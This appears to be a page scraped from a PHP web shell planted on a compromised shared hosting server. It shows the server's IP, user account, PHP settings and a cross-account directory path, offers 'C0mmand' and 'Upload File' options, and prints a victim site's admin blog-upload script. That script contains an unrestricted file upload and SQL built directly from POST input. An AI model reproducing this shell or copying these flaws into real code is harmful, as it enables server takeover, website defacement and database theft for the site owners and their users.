Server IP : 103.53.40.154 / Your IP : 18.188.113.185 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/ppcad7no/.cpanel/../brmarketingindia.com/../usfoodsltd.com/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include "config.php"; $b_image = $_FILES['image']; move_uploaded_file($_FILES['image']['tmp_name'],'./img/blogs/'.$_FILES['image']['name']); $upload_image = $_FILES['image']['name']; $b_date = $_POST['date']; $b_title = $_POST['title']; $b_desc = $_POST['description']; $sql="INSERT INTO `blog`(`image`, `date`, `title`, `description`) VALUES ('$upload_image','$b_date','$b_title','$b_desc')"; $result=mysqli_query($conn, $sql) or die("Query unsuccessful"); if($result){ header('location:blog-list.php'); // echo "submited"; mysqli_close($conn); }else{ header('location:add-blog.php'); } ?>